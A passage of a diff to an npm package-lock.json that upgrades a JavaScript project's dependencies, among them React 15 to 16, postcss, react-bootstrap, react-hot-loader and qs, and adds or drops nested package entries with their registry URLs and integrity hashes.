"sha512-LUHGS/dge4ujbXMJrnihYMcL4AoOweGnw9Tp3kQuqy1Kx5c1qKjqvMJZ6nVJPMWJtKCTN72ZogH3oeSO9g9rXQ==", - "dev": true, - "requires": { - "ansi-styles": "3.2.0", - "escape-string-regexp": "1.0.5", - "supports-color": "4.2.1" - } - }, - "css-selector-tokenizer": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/css-selector-tokenizer/-/css-selector-tokenizer-0.7.0.tgz", - "integrity": "sha1-5piEdK6MlTR3v15+/s/OzNnPTIY=", - "dev": true, - "requires": { - "cssesc": "0.1.0", - "fastparse": "1.1.1", - "regexpu-core": "1.0.0" - } - }, - "has-flag": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", - "integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=", - "dev": true - }, - "postcss": { - "version": "6.0.9", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.9.tgz", - "integrity": "sha512-bBE2AHNEBhF23TfET6AA/lFP8ah+qHOZoFJEflFG+HgvVLdTmMOrocx/4LVVDIn3w6jUssw1q2Exk1cc9UOI8w==", - "dev": true, - "requires": { - "chalk": "2.1.0", - "source-map": "0.5.6", - "supports-color": "4.2.1" - } - }, - "regexpu-core": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-1.0.0.tgz", - "integrity": "sha1-hqdj9Y7k18L2sQLkdkBQ3n7ZDGs=", - "dev": true, - "requires": { - "regenerate": "1.3.2", - "regjsgen": "0.2.0", - "regjsparser": "0.1.5" - } - }, - "supports-color": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.2.1.tgz", - "integrity": "sha512-qxzYsob3yv6U+xMzPrv170y8AwGP7i74g+pbixCfD6rgso8BscLT2qXIuz6TpOaiJZ3mFgT5O9lyT9nMU4LfaA==", - "dev": true, - "requires": { - "has-flag": "2.0.0" - } - } + "postcss": "6.0.23" } }, "postcss-modules-scope": { @@ -10988,77 +13208,7 @@ "dev": true, "requires": { "css-selector-tokenizer": "0.7.0", - "postcss": "6.0.9" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.0.tgz", - "integrity": "sha512-NnSOmMEYtVR2JVMIGTzynRkkaxtiq1xnFBcdQD/DnNCYPoEPsVJhM98BDyaoNOQIi7p4okdi3E27eN7GQbsUug==", - "dev": true, - "requires": { - "color-convert": "1.9.0" - } - }, - "chalk": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.1.0.tgz", - "integrity": "sha512-LUHGS/dge4ujbXMJrnihYMcL4AoOweGnw9Tp3kQuqy1Kx5c1qKjqvMJZ6nVJPMWJtKCTN72ZogH3oeSO9g9rXQ==", - "dev": true, - "requires": { - "ansi-styles": "3.2.0", - "escape-string-regexp": "1.0.5", - "supports-color": "4.2.1" - } - }, - "css-selector-tokenizer": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/css-selector-tokenizer/-/css-selector-tokenizer-0.7.0.tgz", - "integrity": "sha1-5piEdK6MlTR3v15+/s/OzNnPTIY=", - "dev": true, - "requires": { - "cssesc": "0.1.0", - "fastparse": "1.1.1", - "regexpu-core": "1.0.0" - } - }, - "has-flag": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", - "integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=", - "dev": true - }, - "postcss": { - "version": "6.0.9", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.9.tgz", - "integrity": "sha512-bBE2AHNEBhF23TfET6AA/lFP8ah+qHOZoFJEflFG+HgvVLdTmMOrocx/4LVVDIn3w6jUssw1q2Exk1cc9UOI8w==", - "dev": true, - "requires": { - "chalk": "2.1.0", - "source-map": "0.5.6", - "supports-color": "4.2.1" - } - }, - "regexpu-core": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-1.0.0.tgz", - "integrity": "sha1-hqdj9Y7k18L2sQLkdkBQ3n7ZDGs=", - "dev": true, - "requires": { - "regenerate": "1.3.2", - "regjsgen": "0.2.0", - "regjsparser": "0.1.5" - } - }, - "supports-color": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.2.1.tgz", - "integrity": "sha512-qxzYsob3yv6U+xMzPrv170y8AwGP7i74g+pbixCfD6rgso8BscLT2qXIuz6TpOaiJZ3mFgT5O9lyT9nMU4LfaA==", - "dev": true, - "requires": { - "has-flag": "2.0.0" - } - } + "postcss": "6.0.23" } }, "postcss-modules-values": { @@ -11068,150 +13218,7 @@ "dev": true, "requires": { "icss-replace-symbols": "1.1.0", - "postcss": "6.0.9" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.0.tgz", - "integrity": "sha512-NnSOmMEYtVR2JVMIGTzynRkkaxtiq1xnFBcdQD/DnNCYPoEPsVJhM98BDyaoNOQIi7p4okdi3E27eN7GQbsUug==", - "dev": true, - "requires": { - "color-convert": "1.9.0" - } - }, - "chalk": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.1.0.tgz", - "integrity": "sha512-LUHGS/dge4ujbXMJrnihYMcL4AoOweGnw9Tp3kQuqy1Kx5c1qKjqvMJZ6nVJPMWJtKCTN72ZogH3oeSO9g9rXQ==", - "dev": true, - "requires": { - "ansi-styles": "3.2.0", - "escape-string-regexp": "1.0.5", - "supports-color": "4.2.1" - } - }, - "has-flag": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", - "integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=", - "dev": true - }, - "postcss": { - "version": "6.0.9", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.9.tgz", - "integrity": "sha512-bBE2AHNEBhF23TfET6AA/lFP8ah+qHOZoFJEflFG+HgvVLdTmMOrocx/4LVVDIn3w6jUssw1q2Exk1cc9UOI8w==", - "dev": true, - "requires": { - "chalk": "2.1.0", - "source-map": "0.5.6", - "supports-color": "4.2.1" - } - }, - "supports-color": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.2.1.tgz", - "integrity": "sha512-qxzYsob3yv6U+xMzPrv170y8AwGP7i74g+pbixCfD6rgso8BscLT2qXIuz6TpOaiJZ3mFgT5O9lyT9nMU4LfaA==", - "dev": true, - "requires": { - "has-flag": "2.0.0" - } - } - } - }, - "postcss-normalize-charset": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-1.1.1.tgz", - "integrity": "sha1-757nEhLX/nWceO0WL2HtYrXLk/E=", - "dev": true, - "requires": { - "postcss": "5.2.17" - } - }, - "postcss-normalize-url": { - "version": "3.0.8", - "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-3.0.8.tgz", - "integrity": "sha1-EI90s/L82viRov+j6kWSJ5/HgiI=", - "dev": true, - "requires": { - "is-absolute-url": "2.1.0", - "normalize-url": "1.9.1", - "postcss": "5.2.17", - "postcss-value-parser": "3.3.0" - } - }, - "postcss-ordered-values": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-2.2.3.tgz", - "integrity": "sha1-7sbCpntsQSqNsgQud/6NpD+VwR0=", - "dev": true, - "requires": { - "postcss": "5.2.17", - "postcss-value-parser": "3.3.0" - } - }, - "postcss-reduce-idents": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/postcss-reduce-idents/-/postcss-reduce-idents-2.4.0.tgz", - "integrity": "sha1-wsbSDMlYKE9qv75j92Cb9AkFmtM=", - "dev": true, - "requires": { - "postcss": "5.2.17", - "postcss-value-parser": "3.3.0" - } - }, - "postcss-reduce-initial": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-1.0.1.tgz", - "integrity": "sha1-aPgGlfBF0IJjqHmtJA343WT2ROo=", - "dev": true, - "requires": { - "postcss": "5.2.17" - } - }, - "postcss-reduce-transforms": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-1.0.4.tgz", - "integrity": "sha1-/3b02CEkN7McKYpC0uFEQCV3GuE=", - "dev": true, - "requires": { - "has": "1.0.1", - "postcss": "5.2.17", - "postcss-value-parser": "3.3.0" - } - }, - "postcss-selector-parser": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-2.2.3.tgz", - "integrity": "sha1-+UN3iGBsPJrO4W/+jYsWKX8nu5A=", - "dev": true, - "requires": { - "flatten": "1.0.2", - "indexes-of": "1.0.1", - "uniq": "1.0.1" - } - }, - "postcss-svgo": { - "version": "2.1.6", - "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-2.1.6.tgz", - "integrity": "sha1-tt8YqmE7Zm4TPwittSGcJoSsEI0=", - "dev": true, - "requires": { - "is-svg": "2.1.0", - "postcss": "5.2.17", - "postcss-value-parser": "3.3.0", - "svgo": "0.7.2" - } - }, - "postcss-unique-selectors": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-2.0.2.tgz", - "integrity": "sha1-mB1X0p3csz57Hf4f1DuGSfkzyh0=", - "dev": true, - "requires": { - "alphanum-sort": "1.0.2", - "postcss": "5.2.17", - "uniqs": "2.0.0" + "postcss": "6.0.23" } }, "postcss-value-parser": { @@ -11220,34 +13227,28 @@ "integrity": "sha1-h/OPnxj3dKSrTIojL1xc6IcqnRU=", "dev": true }, - "postcss-zindex": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/postcss-zindex/-/postcss-zindex-2.2.0.tgz", - "integrity": "sha1-0hCd3AVbka9n/EyzsCWUZjnSryI=", - "dev": true, - "requires": { - "has": "1.0.1", - "postcss": "5.2.17", - "uniqs": "2.0.0" - } - }, "prelude-ls": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=", "dev": true }, - "prepend-http": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-1.0.4.tgz", - "integrity": "sha1-1PRWKwzjaW5BrFLQ4ALlemNdxtw=", - "dev": true - }, "preserve": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/preserve/-/preserve-0.2.0.tgz", "integrity": "sha1-gV7R9uvGWSb4ZbMQwHE7yzMVzks=", - "dev": true + "dev": true, + "optional": true + }, + "pretty-error": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-2.1.1.tgz", + "integrity": "sha1-X0+HyPkeWuPzuoerTPXgOxoX8aM=", + "dev": true, + "requires": { + "renderkid": "2.0.1", + "utila": "0.4.0" + } }, "private": { "version": "0.1.7", @@ -11256,9 +13257,9 @@ "dev": true }, "process": { - "version": "0.11.10", - "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", - "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI=", + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/process/-/process-0.5.2.tgz", + "integrity": "sha1-FjjYqONML0QKkduVq5rrZ3/Bhc8=", "dev": true }, "process-nextick-args": { @@ -11281,21 +13282,27 @@ "asap": "2.0.6" } }, + "promise-inflight": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", + "integrity": "sha1-mEcocL8igTL8vdhoEputEsPAKeM=", + "dev": true + }, "prop-types": { - "version": "15.6.1", - "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.6.1.tgz", - "integrity": "sha512-4ec7bY1Y66LymSUOH/zARVYObB23AT2h8cf6e/O6ZALB/N0sqZFEx7rq6EYPX2MkOdKORuooI/H5k9TlR4q7kQ==", + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.6.2.tgz", + "integrity": "sha512-3pboPvLiWD7dkI3qf3KbUe6hKFKa52w+AE0VCqECtf+QHAKgOL37tTaNCnuX1nAAQ4ZhyP+kYVKf8rLmJ/feDQ==", "requires": { - "fbjs": "0.8.16", "loose-envify": "1.3.1", "object-assign": "4.1.1" } }, "prop-types-extra": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/prop-types-extra/-/prop-types-extra-1.0.1.tgz", - "integrity": "sha1-pXvUgQ6C0no/9DF+zBtK0AX3moI=", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/prop-types-extra/-/prop-types-extra-1.1.0.tgz", + "integrity": "sha512-QFyuDxvMipmIVKD2TwxLVPzMnO4e5oOf1vr3tJIomL8E7d0lr6phTHd5nkPhFIzTD1idBLLEPeylL9g+rrTzRg==", "requires": { + "react-is": "16.4.2", "warning": "3.0.0" } }, @@ -11308,19 +13315,25 @@ } }, "proxy-addr": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-1.1.5.tgz", - "integrity": "sha1-ccDuOxAt4/IC87ZPYI0XP8uhqRg=", + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.4.tgz", + "integrity": "sha512-5erio2h9jp5CHGwcybmxmVqHmnCBZeewlfJ0pex+UW7Qny7OOZXTtH56TGNyBizkgiOwhJtMKrVzDTeKcySZwA==", "dev": true, "requires": { - "forwarded": "0.1.0", - "ipaddr.js": "1.4.0" + "forwarded": "0.1.2", + "ipaddr.js": "1.8.0" } }, "prr": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/prr/-/prr-0.0.0.tgz", - "integrity": "sha1-GoS4WQgyVQFBGFPQCB7j+obikmo=", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", + "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", + "dev": true + }, + "pseudomap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", + "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=", "dev": true }, "psl": { @@ -11328,6 +13341,40 @@ "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.20.tgz", "integrity": "sha1-NjOC8zI4iICxVeJQY0WVcIQojp0=" }, + "public-encrypt": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/public-encrypt/-/public-encrypt-4.0.2.tgz", + "integrity": "sha512-4kJ5Esocg8X3h8YgJsKAuoesBgB7mqH3eowiDzMUPKiRDDE7E/BqqZD1hnTByIaAFiwAw246YEltSq7tdrOH0Q==", + "dev": true, + "requires": { + "bn.js": "4.11.8", + "browserify-rsa": "4.0.1", + "create-hash": "1.2.0", + "parse-asn1": "5.1.1", + "randombytes": "2.0.6" + } + }, + "pump": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz", + "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", + "dev": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + }, + "pumpify": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-1.5.1.tgz", + "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==", + "dev": true, + "requires": { + "duplexify": "3.6.0", + "inherits": "2.0.3", + "pump": "2.0.1" + } + }, "punycode": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", @@ -11346,27 +13393,17 @@ "dev": true }, "qjobs": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/qjobs/-/qjobs-1.1.5.tgz", - "integrity": "sha1-ZZ3p8s+NzCehSBJ28gU3cnI4LnM=", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/qjobs/-/qjobs-1.2.0.tgz", + "integrity": "sha512-8YOJEHtxpySA3fFDyCRxA+UUV+fA+rTWnuWvylOK/NCjhY+b4ocCtmu8TtsWb+mYeU+GCHf/S66KZF/AsteKHg==", "dev": true }, "qs": { - "version": "6.4.0", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.4.0.tgz", - "integrity": "sha1-E+JtKK1rD/qpExLNO/cI7TUecjM=", + "version": "6.5.2", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", + "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==", "dev": true }, - "query-string": { - "version": "4.3.4", - "resolved": "https://registry.npmjs.org/query-string/-/query-string-4.3.4.tgz", - "integrity": "sha1-u7aTucqRXCMlFbIosaArYJBD2+s=", - "dev": true, - "requires": { - "object-assign": "4.1.1", - "strict-uri-encode": "1.1.0" - } - }, "querystring": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.0.tgz", @@ -11380,9 +13417,9 @@ "dev": true }, "querystringify": { - "version": "0.0.4", - "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-0.0.4.tgz", - "integrity": "sha1-DPf4T5Rj/wrlHExLFC2VvjdyTZw=", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.0.0.tgz", + "integrity": "sha512-eTPo5t/4bgaMNZxyjWx6N2a6AuE0mq51KWvpc7nU/MAqixcI6v6KrGUKES0HaomdnolQBBXU/++X6/QQ9KL4tw==", "dev": true }, "randomatic": { @@ -11390,6 +13427,7 @@ "resolved": "https://registry.npmjs.org/randomatic/-/randomatic-1.1.7.tgz", "integrity": "sha1-x6vpzIuHwLqodrGf3oP9RkeX44w=", "dev": true, + "optional": true, "requires": { "is-number": "3.0.0", "kind-of": "4.0.0" @@ -11400,6 +13438,7 @@ "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, + "optional": true, "requires": { "kind-of": "3.2.2" }, @@ -11409,6 +13448,7 @@ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, + "optional": true, "requires": { "is-buffer": "1.1.5" } @@ -11420,12 +13460,32 @@ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz", "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=", "dev": true, + "optional": true, "requires": { "is-buffer": "1.1.5" } } } }, + "randombytes": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.0.6.tgz", + "integrity": "sha512-CIQ5OFxf4Jou6uOKe9t1AOgqpeU5fd70A8NPdHSGeYXqXsPe6peOwI0cUl88RWZ6sP1vPMV3avd/R6cZ5/sP1A==", + "dev": true, + "requires": { + "safe-buffer": "5.1.1" + } + }, + "randomfill": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/randomfill/-/randomfill-1.0.4.tgz", + "integrity": "sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==", + "dev": true, + "requires": { + "randombytes": "2.0.6", + "safe-buffer": "5.1.1" + } + }, "range-parser": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.0.tgz", @@ -11433,21 +13493,25 @@ "dev": true }, "raw-body": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.2.0.tgz", - "integrity": "sha1-mUl2z2pQlqQRYoQEkvC9xdbn+5Y=", + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.3.3.tgz", + "integrity": "sha512-9esiElv1BrZoI3rCDuOuKCBRbuApGGaDPQfjSflGxdy4oyzqghxu6klEkkVIvBje+FF0BX9coEv8KqW6X/7njw==", "dev": true, "requires": { - "bytes": "2.4.0", - "iconv-lite": "0.4.15", + "bytes": "3.0.0", + "http-errors": "1.6.3", + "iconv-lite": "0.4.23", "unpipe": "1.0.0" }, "dependencies": { "iconv-lite": { - "version": "0.4.15", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.15.tgz", - "integrity": "sha1-/iZaIYrGpXz+hUkn6dBMGYJe3es=", - "dev": true + "version": "0.4.23", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.23.tgz", + "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==", + "dev": true, + "requires": { + "safer-buffer": "2.1.2" + } } } }, @@ -11457,19 +13521,18 @@ "integrity": "sha1-5h0FRL+dQgjlujL8UJYhWef5UqM=", "requires": { "babel-runtime": "6.25.0", - "prop-types": "15.6.1" + "prop-types": "15.6.2" } }, "react": { - "version": "15.6.2", - "resolved": "https://registry.npmjs.org/react/-/react-15.6.2.tgz", - "integrity": "sha1-26BDSrQ5z+gvEI8PURZjkIF5qnI=", + "version": "16.4.2", + "resolved": "https://registry.npmjs.org/react/-/react-16.4.2.tgz", + "integrity": "sha512-dMv7YrbxO4y2aqnvA7f/ik9ibeLSHQJTI6TrYAenPSaQ6OXfb+Oti+oJiy8WBxgRzlKatYqtCjphTgDSCEiWFg==", "requires": { - "create-react-class": "15.6.3", - "fbjs": "0.8.16", + "fbjs": "0.8.17", "loose-envify": "1.3.1", "object-assign": "4.1.1", - "prop-types": "15.6.1" + "prop-types": "15.6.2" } }, "react-addons-test-utils": { @@ -11490,18 +13553,20 @@ } }, "react-bootstrap": { - "version": "0.31.5", - "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-0.31.5.tgz", - "integrity": "sha512-xgDihgX4QvYHmHzL87faDBMDnGfYyqcrqV0TEbWY+JizePOG1vfb8M3xJN+6MJ3kUYqDtQSZ7v/Q6Y5YDrkMdA==", + "version": "0.32.1", + "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-0.32.1.tgz", + "integrity": "sha512-RbfzKUbsukWsToWqGHfCCyMFq9QQI0TznutdyxyJw6dih2NvIne25Mrssg8LZsprqtPpyQi8bN0L0Fx3fUsL8Q==", "requires": { "babel-runtime": "6.25.0", "classnames": "2.2.5", "dom-helpers": "3.3.1", "invariant": "2.2.2", "keycode": "2.1.9", - "prop-types": "15.6.1", - "prop-types-extra": "1.0.1", - "react-overlays": "0.7.4", + "prop-types": "15.6.2", + "prop-types-extra": "1.1.0", + "react-overlays": "0.8.3", + "react-prop-types": "0.4.0", + "react-transition-group": "2.4.0", "uncontrollable": "4.1.0", "warning": "3.0.0" } @@ -11511,7 +13576,7 @@ "resolved": "https://registry.npmjs.org/react-center-component/-/react-center-component-3.0.0.tgz", "integrity": "sha1-0omGv0NOD46/9jyRJ38b9q0YnHI=", "requires": { - "lodash": "4.17.4" + "lodash": "4.17.10" } }, "react-copy-to-clipboard": { @@ -11520,7 +13585,7 @@ "integrity": "sha512-ELKq31/E3zjFs5rDWNCfFL4NvNFQvGRoJdAKReD/rUPA+xxiLPQmZBZBvy2vgH7V0GE9isIQpT9WXbwIVErYdA==", "requires": { "copy-to-clipboard": "3.0.8", - "prop-types": "15.6.1" + "prop-types": "15.6.2" } }, "react-data-components": { @@ -11528,8 +13593,8 @@ "resolved": "https://registry.npmjs.org/react-data-components/-/react-data-components-1.2.0.tgz", "integrity": "sha512-nJPAYBDDduBeyTp9r+cDY5P3ZSLQLyvBZHXDPEKWrUwu5GxkcrWxWzB8LfQsWIRxi2HzF4H1njcj1IHlV2jmRA==", "requires": { - "lodash": "4.17.4", - "prop-types": "15.6.1" + "lodash": "4.17.10", + "prop-types": "15.6.2" } }, "react-dimensions": { @@ -11541,32 +13606,32 @@ } }, "react-dom": { - "version": "15.6.2", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-15.6.2.tgz", - "integrity": "sha1-Qc+t9pO3V/rycIRDodH9WgK+9zA=", + "version": "16.4.2", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.4.2.tgz", + "integrity": "sha512-Usl73nQqzvmJN+89r97zmeUpQDKDlh58eX6Hbs/ERdDHzeBzWy+ENk7fsGQ+5KxArV1iOFPT46/VneklK9zoWw==", "requires": { - "fbjs": "0.8.16", + "fbjs": "0.8.17", "loose-envify": "1.3.1", "object-assign": "4.1.1", - "prop-types": "15.6.1" + "prop-types": "15.6.2" } }, "react-fa": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/react-fa/-/react-fa-4.2.0.tgz", - "integrity": "sha1-aR4FbGj/S+h2OReiH34+rvO+jg8=", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/react-fa/-/react-fa-5.0.0.tgz", + "integrity": "sha512-pBEJigNkDJPAP/P9mQXT55VbJbbtwqi4ayieXuFvGpd+gl3aZ9IbjjVKJihdhdysJP0XRgrSa3sT3yOmkQi8wQ==", "requires": { "font-awesome": "4.7.0", - "prop-types": "15.6.1" + "prop-types": "15.6.2" } }, "react-graph-vis": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-0.1.4.tgz", - "integrity": "sha512-njoLkjRCKUxjdVDIyTw1RJH4XE5Jp9WPXlBVR7yy2Wti+Rffrw99+xpYrq8pgfjcCOAByleLtDkSxHHUJSh4lg==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.2.tgz", + "integrity": "sha512-qVFWtvLVJgnYGtpOPHtg1RIW4xNm9Hd4GXgJy1IYrlYZYkOQW0snSOMr24c6R8Vcad1oU70iqgKR381GDDwrBA==", "requires": { - "lodash": "4.17.4", - "prop-types": "15.6.1", + "lodash": "4.17.10", + "prop-types": "15.6.2", "uuid": "2.0.3", "vis": "4.21.0" }, @@ -11578,54 +13643,79 @@ } } }, - "react-hot-api": { - "version": "0.4.7", - "resolved": "https://registry.npmjs.org/react-hot-api/-/react-hot-api-0.4.7.tgz", - "integrity": "sha1-p+IqVtJS4Rq9k2a2EmTPRJLFgXE=", - "dev": true - }, "react-hot-loader": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-1.3.1.tgz", - "integrity": "sha1-yVZHrni3Pfzv9uxx/8sEGC/22vk=", + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.3.4.tgz", + "integrity": "sha512-LlKjtHq+RhDq9xm6crXojbkzrEvli5F4/RaeJ//XtDWrwwsAHDjEqKfZZiPCxv7gWV2cxE3YE8TXeE9BDzLqOA==", "dev": true, "requires": { - "react-hot-api": "0.4.7", - "source-map": "0.4.4" - }, - "dependencies": { - "source-map": { - "version": "0.4.4", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.4.4.tgz", - "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=", - "dev": true, - "requires": { - "amdefine": "1.0.1" - } - } + "fast-levenshtein": "2.0.6", + "global": "4.3.2", + "hoist-non-react-statics": "2.5.5", + "prop-types": "15.6.2", + "react-lifecycles-compat": "3.0.4", + "shallowequal": "1.1.0" } }, + "react-is": { + "version": "16.4.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.4.2.tgz", + "integrity": "sha512-rI3cGFj/obHbBz156PvErrS5xc6f1eWyTwyV4mo0vF2lGgXgS+mm7EKD5buLJq6jNgIagQescGSVG2YzgXt8Yg==" + }, "react-json-tree": { - "version": "0.10.9", - "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.10.9.tgz", - "integrity": "sha1-cmMXOizIvwXqxjsEGcPOdbIy4oQ=", + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.11.0.tgz", + "integrity": "sha1-9bF+gzKanHauOL5cBP2jp/1oSjU=", "requires": { "babel-runtime": "6.25.0", - "prop-types": "15.6.1", + "prop-types": "15.6.2", "react-base16-styling": "0.5.3" } }, "react-jsonschema-form": { - "version": "0.50.1", - "resolved": "https://registry.npmjs.org/react-jsonschema-form/-/react-jsonschema-form-0.50.1.tgz", - "integrity": "sha512-pjhbIQhLmaezfRXZDYgEpM3Ua5m7Pz+jGiQBmRlBjSQ056uegUCKehxY7h4C6qJL8xH3RagteYDuHXxg2yYyww==", + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/react-jsonschema-form/-/react-jsonschema-form-1.0.4.tgz", + "integrity": "sha512-G9ZjsoEZoWDDCRH6ATSI5jiFbnHoyoljng8u2X3eGxhg44snzcuXLHcm6qNHmLXhPrhQ8/9zCRCI72Oo5L/tkw==", "requires": { - "jsonschema": "1.2.2", + "ajv": "5.5.2", + "babel-runtime": "6.26.0", + "core-js": "2.5.7", "lodash.topath": "4.5.2", - "prop-types": "15.6.1", - "setimmediate": "1.0.5" + "prop-types": "15.6.2" + }, + "dependencies": { + "ajv": { + "version": "5.5.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-5.5.2.tgz", + "integrity": 